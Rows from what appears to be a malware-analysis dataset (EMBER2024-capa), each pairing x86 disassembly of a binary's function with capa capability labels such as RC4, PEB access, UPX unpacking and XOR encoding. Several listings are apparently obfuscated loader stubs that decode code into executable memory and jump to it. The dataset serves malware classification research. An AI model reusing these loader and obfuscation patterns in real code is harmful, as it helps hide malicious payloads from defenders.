joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c1e80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x7d9e04]
xor edx, edx
cmp eax, edx
jne 0x4c1ea6
xor eax, eax
mov byte [eax + 0x7d9d04], al
inc eax
cmp eax, 0x100
jl 0x4c1e8e
mov dword [0x7d9e04], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x7d9d04
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4c1f37
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4c1f0a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4c1ed8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4c88d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4fe39e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004c91f0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x79aa94
call fcn.004ef9f9
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4c8963
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004ef9f9
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4c895c
push 0
mov ecx, eax
call fcn.004bfab0
mov dword [esi + 0xc], eax
jmp 0x4c8965
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4c8965
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4e8ee3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x7c82e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004dd6ef
mov dword [ebp - 0x14], eax
cmp dword [0x7ec9a4], edi
jne 0x4e8fd4
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4e8f61
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4e90b4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4e90b4
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4e90b4
push eax
call ebx
push 0x7a2aac
push esi
mov dword [0x7ec9a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x7a2abc
push esi
mov dword [0x7ec9a8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x7ec9ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x7ec9b4], eax
test eax, eax
je 0x4e8fd1
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x7ec9b0], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4e8ff9
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4e8fec
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x4e900e
push 4
pop eax
jmp 0x4e90b6
cmp dword [ebp - 0x14], edi
je 0x4e900e
push dword [0x7ec9a4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4e8ff3
mov eax, dword [0x7ec9b0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4e906c
cmp dword [0x7ec9b4], esi
je 0x4e906c
push eax
call ebx
push dword [0x7ec9b4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4e906c
test eax, eax
je 0x4e906c
call ecx
test eax, eax
je 0x4e9061
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4e9061
test byte [ebp - 8], 1
jne 0x4e906c
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4e909c
mov eax, dword [0x7ec9a8]
cmp eax, esi
je 0x4e9099
push eax
call ebx
test eax, eax
je 0x4e9099
call eax
mov edi, eax
test edi, edi
je 0x4e9099
mov eax, dword [0x7ec9ac]
cmp eax, esi
je 0x4e9099
push eax
call ebx
test eax, eax
je 0x4e9099
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x7ec9a4]
call ebx
test eax, eax
je 0x4e90b4
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4e90b6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004d9a35
leave
ret
Function at 0x4f2085
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4f20bd
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004f0113
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004f00eb
jmp 0x4f20c9
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4f3777
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4f37b9
call fcn.004f91f7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4f37b9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4f37b0
xor eax, eax
jmp 0x4f37c1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004f37c7
pop edi
pop esi
pop ebx
ret 4
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10007073
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10007073
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10007073
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10007073
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10007073
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10007073
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10007073
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10007073
push 0xd008
push edi
call fcn.10007073
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10007073
int3

Function at 0x10007073
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10007082
pop dword [ebp - 0x34]
mov eax, 0xd47814ef
sub eax, 0xc477a46d
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3c8e9
push 0
mov eax, 0x1df605db
add eax, 0xf20b3a89
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x561c
mov edi, eax
mov ebx, 0x775a710a
add ebx, 0x98a714f6
add ebx, dword [ebp - 0x34]
mov edx, 0xa7a93c97
sub dword [ebp - 0xc], eax
mov esi, dword [ebx]
xor dword [ebp - 0x18], 0xae626180
sub esi, edx
add dword [ebp - 0x24], edx
mov dword [edi], esi
mov dword [ebp - 0x20], 0xaf1ee26
add edi, 4
add ebx, 4
loop 0x100070d5
add eax, 0x15d2a0c
sub eax, 0x15bdec9
mov ebx, eax
add eax, 0x1df86708
sub eax, 0x1df86703
mov ecx, 0x2b60dc15
add ecx, 0xe49f23eb
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x1005e370
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1005e37f
pop dword [ebp - 0x14]
mov eax, 0x1005e37f
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x7aff1
push 0
mov eax, 0x1f0c8c61
add eax, 0xf1098533
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x873de257
sub ecx, 0x873d8965
mov esi, eax
mov edx, 0xabb5c80
add edx, 0x55cc580
add edx, dword [ebp - 0x14]
mov edi, 0x897c6ae2
sub edi, 0x20462e8d
add dword [ebp - 0xc], ecx
mov ebx, dword [edx]
xor dword [ebp - 8], 0xd3384f5e
xor ebx, edi
add dword [ebp - 8], ecx
mov dword [esi], ebx
sub dword [ebp - 4], edx
add esi, 0x59fe7e11
add esi, 0xa60181f3
add edx, 0x577ba86e
add edx, 0xa8845796
loop 0x1005e3d9
add eax, 0x1569b
mov ebx, eax
add eax, 5
mov ecx, 0x51446ab3
sub ecx, 0x41446ab3
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x100e08a8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100e08b9
pop esi
ret
push ebx
push edi
push esi
call fcn.1005e370
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.1005e370
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100e08e1
push ebx
push esi
push edi
call fcn.100ca6c0
add esp, 0xc
push 0
call fcn.1005e370
pop ecx
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x4085a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4085b7
pop dword [ebp - 0x18]
mov eax, 0xb00c60d5
sub eax, 0xafcbdb1e
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x37448
push 0
mov eax, 0x9155ce18
sub eax, 0x9114ed40
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x3fbb
xor esi, esi
add esi, eax
mov edi, 0x5a0c72f5
add edi, 0xa634c8cf
add edi, dword [ebp - 0x18]
mov ebx, 0xe96e8b33
sub ebx, 0x5e912d22
sub dword [ebp - 0xc], 0x4bfa10f5
mov edx, dword [edi]
sub dword [ebp - 8], 0x7d49bb99
xor edx, ebx
xor dword [ebp - 4], 0x5c2f313f
mov dword [esi], edx
xor dword [ebp - 8], ebx
add esi, 0x396c8402
add esi, 0xc6937c02
add edi, 4
loop 0x408612
add eax, 0x8b2e8327
sub eax, 0x8b2d9168
mov ebx, eax
add eax, 5
mov ecx, 0xe394ba43
add ecx, 0x1cab45bd
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00409c90
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00409c90
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00409c90
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00409c90
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00409c90
mov dword [0x41203c], eax
call fcn.00409c90
test eax, eax
jge 0x402550
push 8
call fcn.00409c90
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00409c90
pop ecx
push 1
call fcn.00409c90
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00409c90
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00409c90
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00409c90
jmp 0x402495

Function at 0x409c90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x409c9f
pop dword [ebp - 0x18]
mov eax, 0xb930e8f4
add eax, 0x470fb3ab
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3479e
push 0
mov eax, 0xb40f8e54
sub eax, 0xb3cead7c
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x351c
mov ebx, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x18]
mov edx, 0x2d1db28a
sub edx, 0x31f3e0be
xor dword [ebp - 0x14], 0xee6e197b
mov esi, dword [edi]
mov dword [ebp - 0xc], 0xc3ba4f30
add esi, edx
xor dword [ebp - 0x10], ebx
mov dword [ebx], esi
add dword [ebp - 0xc], 0xfb7a45eb
add ebx, 4
add edi, 0xbc1413ce
sub edi, 0xbc1413ca
loop 0x409cf2
add eax, 0x2379ddd1
add eax, 0xdc86e972
mov ebx, eax
add eax, 0x44bf23b6
sub eax, 0x44bf23b1
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x7e29bc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7e29c6
pushal
call 0x7e29cc
pop ebp
sub ebp, 0x10
sub ebp, 0x3e29bc
jmp 0x7e29e2
mov eax, 0x3e29bc
add eax, ebp
add eax, 0x4c
mov ecx, 0x604
mov edx, 0xb6557ca6
xor byte [eax], dl
inc eax
dec ecx
jne 0x7e29f9
jmp 0x7e2a0c
sub eax, 0x9a2f2d6b
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
daa
pop esi
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
imul ebx, dword [esi], 0xffffffa2
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
sbb al, 0x8e
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
push ecx
inc esp
movsd dword es:[edi], dword [esi]
outsb dx, byte [esi]
sub eax, 0xa6a6aa27
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
arpl word [ebx], bp
ret 0x5a82
Function at 0x41cd90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
jmp 0x41cdaa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41cdb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41cda0
mov eax, 1
add ebx, ebx
jne 0x41cdc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41cdb8
jne 0x41cdd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41cdb8
xor ecx, ecx
sub eax, 3
jb 0x41cde8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ce5a
mov ebp, eax
add ebx, ebx
jne 0x41cdf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41ce00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41ce24
inc ecx
add ebx, ebx
jne 0x41ce10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41ce05
jne 0x41ce21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ce05
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ce44
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41ce35
jmp 0x41cda6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ce44
add edi, ecx
jmp 0x41cda6
pop esi
mov edi, esi
mov ecx, 0x6c9b
mov al, pe_nt_image_headers32
repne scasb al, byte es:[edi]
jne 0x41ce7f
cmp byte [edi], 2
jne 0x41ce64
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x41ce62
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41cec7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1c000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1c080]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ce85
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1c088]
or eax, eax
je 0x41cec1
mov dword [ebx], eax
add ebx, 4
jmp 0x41cea2
call dword [esi + 0x1c084]
mov ebp, dword [esi + 0x1c08c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41cefb
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401040
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x48
push ebx
push esi
xor ebx, ebx
lea eax, [esp + 0x18]
push 0x38
push str.1.2.13
push eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
call fcn.0040aeb0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401094
mov eax, dword [esp + 0x58]
push esi
add eax, 0x12
push eax
push str.Failed_to_extract__s:_inflateInit___failed_with_return_code__d__n
call fcn.00402700
add esp, 0xc
or eax, 0xffffffff
pop esi
pop ebx
add esp, 0x48
ret
push 0x2000
call fcn.00412f89
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4010c8
mov eax, dword [esp + 0x58]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_failed_to_allocate_temporary_input_buffer__n
push str.malloc
call fcn.004025a0
add esp, 0xc
jmp 0x4011ee
push 0x2000
call fcn.00412f89
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4010fa
mov ecx, dword [esp + 0x58]
add ecx, 0x12
push ecx
push str.Failed_to_extract__s:_failed_to_allocate_temporary_output_buffer__n
push str.malloc
call fcn.004025a0
add esp, 0xc
jmp 0x4011ee
mov eax, dword [esp + 0x58]
xor ecx, ecx
push ebp
mov ebp, dword [esp + 0x60]
push edi
mov eax, dword [eax + 8]
mov edi, dword [esp + 0x68]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
jb 0x401129
ja 0x401122
cmp eax, 0x2000
jbe 0x401129
mov esi, 0x2000
jmp 0x40112b
mov esi, eax
push dword [esp + 0x5c]
push esi
push 1
push dword [esp + 0x24]
call fcn.0040ee82
add esp, 0x10
cmp eax, esi
jne 0x4011e9
push dword [esp + 0x5c]
call fcn.0040ec7d
add esp, 4
test eax, eax
jne 0x4011e9
sub dword [esp + 0x10], esi
mov dword [esp + 0x24], esi
sbb dword [esp + 0x14], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
nop
lea eax, [esp + 0x20]
mov dword [esp + 0x30], 0x2000
push 0
push eax
mov dword [esp + 0x34], ebx
call fcn.004093e0
add esp, 8
mov dword [esp + 0x1c], eax
lea ecx, [eax + 4]
cmp ecx, 6
ja case.0x40119e.1
movzx ecx, byte [ecx + 0x401274]
jmp dword [ecx*4 + 0x401268]
mov esi, 0x2000
sub esi, dword [esp + 0x30]
test ebp, ebp
je 0x401212
push ebp
push esi
push 1
push ebx
call fcn.0040f5a5
add esp, 0x10
cmp eax, esi
jne 0x4011d0
push ebp
call fcn.0040ec7d
add esp, 4
test eax, eax
je 0x401223
or eax, 0xffffffff
push eax
mov eax, dword [esp + 0x64]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_decompression_resulted_in_return_code__d__n
call fcn.00402700
add esp, 0xc
or esi, 0xffffffff
pop edi
pop ebp
lea eax, [esp + 0x18]
push eax
call fcn.0040aca0
push dword [esp + 0x14]
call fcn.00412f6e
push ebx
call fcn.00412f6e
add esp, 0xc
mov eax, esi
pop esi
pop ebx
add esp, 0x48
ret
test edi, edi
je 0x401227
push esi
push ebx
push edi
call fcn.0040c360
add esp, 0xc
add edi, esi
mov eax, dword [esp + 0x1c]
cmp dword [esp + 0x30], 0
je 0x401170
cmp eax, 1
je 0x401261
mov ecx, dword [esp + 0x14]
test ecx, ecx
jne 0x401245
cmp dword [esp + 0x10], ecx
jbe 0x4011d3
mov eax, dword [esp + 0x10]
jmp 0x401115
mov eax, 0xfffffffd
jmp 0x4011d3
cmp eax, 1
jne 0x4011d3
xor esi, esi
jmp 0x4011ec
Function at 0x401280
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x101c
call fcn.0040b6e0
mov eax, dword [0x437040]
xor eax, esp
mov dword [esp + 0x1018], eax
push ebx
mov ebx, dword [esp + 0x1028]
push ebp
push esi
mov esi, dword [esp + 0x102c]
push edi
push 0x428580
mov dword [esp + 0x20], esi
lea eax, [esi + 0x68]
mov dword [esp + 0x24], 0xffffffff
push eax
call fcn.00403c60
mov ebp, eax
add esp, 8
mov dword [esp + 0x10], ebp
test ebp, ebp
jne 0x4012e4
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_open_archive_file__n
call fcn.00402700
jmp 0x401460
mov ecx, dword [ebx + 4]
xor eax, eax
add ecx, dword [esi]
push 0
adc eax, dword [esi + 4]
push eax
push ecx
push ebp
call fcn.0040f2a6
add esp, 0x10
test eax, eax
jns 0x401320
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_seek_to_the_entrys_data__n
push str.fseek
call fcn.004025a0
push ebp
call fcn.0040ec21
add esp, 0x10
jmp 0x401463
push dword [ebx + 0xc]
call fcn.00412f89
add esp, 4
mov dword [esp + 0x14], eax
mov edi, eax
mov dword [esp + 0x24], edi
test eax, eax
jne 0x40135d
push dword [ebx + 0xc]
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_allocate_data_buffer___u_bytes___n
push str.malloc
call fcn.004025a0
push ebp
call fcn.0040ec21
add esp, 0x14
jmp 0x401465
cmp byte [ebx + 0x10], 1
jne 0x40137e
push eax
push 0
push ebx
push ebp
call fcn.00401040
add esp, 0x10
test eax, eax
jne 0x401451
mov dword [esp + 0x14], edi
jmp 0x4013e1
mov edi, dword [ebx + 0xc]
xor ebp, ebp
mov dword [esp + 0x18], eax
test edi, edi
je 0x4013d9
nop dword [eax + eax]
test ebp, ebp
jb 0x4013a5
ja 0x40139e
cmp edi, 0x2000
jbe 0x4013a5
mov esi, 0x2000
jmp 0x4013a7
mov esi, edi
push dword [esp + 0x10]
push 1
push esi
push eax
call fcn.0040ee82
add esp, 0x10
cmp eax, 1
jb 0x401437
mov eax, dword [esp + 0x18]
sub edi, esi
sbb ebp, 0
add eax, esi
mov dword [esp + 0x18], eax
test ebp, ebp
ja 0x40139e
jb 0x4013d5
test edi, edi
jne 0x401390
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x24]
mov ebp, dword [esp + 0x10]
push ebp
add ebx, 0x12
call fcn.0040ec21
add esi, 0x3068
push ebx
push esi
call fcn.00407660
add esp, 0xc
test eax, eax
js 0x401465
push ebx
push 0x5c
push esi
push str._s_c_s
lea eax, [esp + 0x38]
push 0x1000
push eax
call fcn.00401e20
add esp, 0x18
cmp eax, 0x1000
jge 0x401465
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x18]
call fcn.00403dd0
add esp, 8
mov dword [esp + 0x20], eax
jmp 0x401465
lea eax, [ebx + 0x12]
push eax
push str.Failed_to_extract__s:_failed_to_read_data_chunk__n
push str.fread
call fcn.004025a0
mov ebp, dword [esp + 0x1c]
add esp, 0xc
push dword [esp + 0x14]
call fcn.00412f6e
push ebp
call fcn.0040ec21
add esp, 8
xor edi, edi
push edi
call fcn.00412f6e
mov ecx, dword [esp + 0x102c]
add esp, 4
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040b6c7
add esp, 0x101c
ret